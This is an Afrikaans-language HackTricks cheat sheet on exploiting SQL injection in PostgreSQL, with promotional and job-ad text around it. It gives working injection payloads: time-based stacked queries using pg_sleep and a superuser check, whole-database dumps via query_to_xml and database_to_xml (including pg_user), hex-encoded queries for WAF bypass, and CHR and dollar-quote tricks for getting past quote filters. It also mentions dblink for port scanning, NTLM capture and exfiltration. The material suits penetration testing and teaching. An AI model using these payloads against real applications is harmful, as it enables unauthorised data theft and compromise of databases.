7.4 KiB
PostgreSQL inspuiting
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
As jy belangstel in 'n hakloopbaan en die onhackbare wil hack - ons is aan die aanstel! (vloeiende Pools geskrewe en gesproke vereis).
{% embed url="https://www.stmcyber.com/careers" %}
Hierdie bladsy het ten doel om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting wat in 'n postgresql-databasis gevind is, te benut en om die truuks aan te vul wat jy op https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md kan vind
Netwerkinteraksie - Voorregskaping, Poortskandering, NTLM-uitdagingresponsblootstelling & Uitvoer
Die PostgreSQL-module dblink
bied die vermoë om na ander PostgreSQL-instansies te koppel en TCP-verbindings uit te voer. Hierdie funksies, gekombineer met die COPY FROM
-funksionaliteit, maak aksies soos voorregskaping, poortskandering en NTLM-uitdagingresponsvangs moontlik. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk na hoe om hierdie aanvalle uit te voer.
Uitvoeringsvoorbeeld deur dblink en groot voorwerpe te gebruik
Jy kan hierdie voorbeeld lees om 'n CTF-voorbeeld te sien van hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam van die funksie dblink_connect
te eksfiltreer.
PostgreSQL-aanvalle: Lees/skryf, RCE, voorregskaping
Kyk hoe om die gasheer te kompromitteer en voorregte vanaf PostgreSQL te eskaleer in:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
WAF-omleiding
PostgreSQL-stringfunksies
Die manipulasie van strings kan jou help om WAF's of ander beperkings te omseil.
Op hierdie bladsy kan jy 'n paar nuttige stringfunksies vind.
Gestapelde navrae
Onthou dat postgresql gestapelde navrae ondersteun, maar verskeie toepassings sal 'n fout gooi as 2 antwoorde teruggegee word wanneer slegs 1 verwag word. Maar, jy kan steeds die gestapelde navrae misbruik via Tydinspuiting:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML truuks
query_to_xml
Hierdie funksie sal alle data in XML-formaat in net een lêer teruggee. Dit is ideaal as jy baie data in net 1 ry wil aflaai:
SELECT query_to_xml('select * from pg_user',true,true,'');
databasis_naar_xml
Hierdie funksie sal die hele databasis in XML-formaat dump in net 1 ry (wees versigtig as die databasis baie groot is, omdat jy dit kan DoS of selfs jou eie klient kan laat vasloop):
SELECT database_to_xml(true,true,'');
Strings in Hex
Indien jy navrae kan hardloop deur hulle binne 'n string te stuur (byvoorbeeld deur die query_to_xml
funksie te gebruik). Jy kan die convert_from gebruik om die string as heks te stuur en sodoende filters te omseil:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
Verbode aanhalingstekens
As jy nie aanhalingstekens kan gebruik vir jou payload nie, kan jy dit omseil met CHR
vir basiese klousules (karakterkonkatenasie werk slegs vir basiese navrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-stellings nie):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Of met $
. Hierdie navrae lewer dieselfde resultate op:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Indien jy belangstel in hackingsloopbaan en die onhackbare wil hack - ons is aan die werf! (vloeiende Pools skryf- en spreekvaardigheid vereis).
{% embed url="https://www.stmcyber.com/careers" %}
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hackingswenke deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.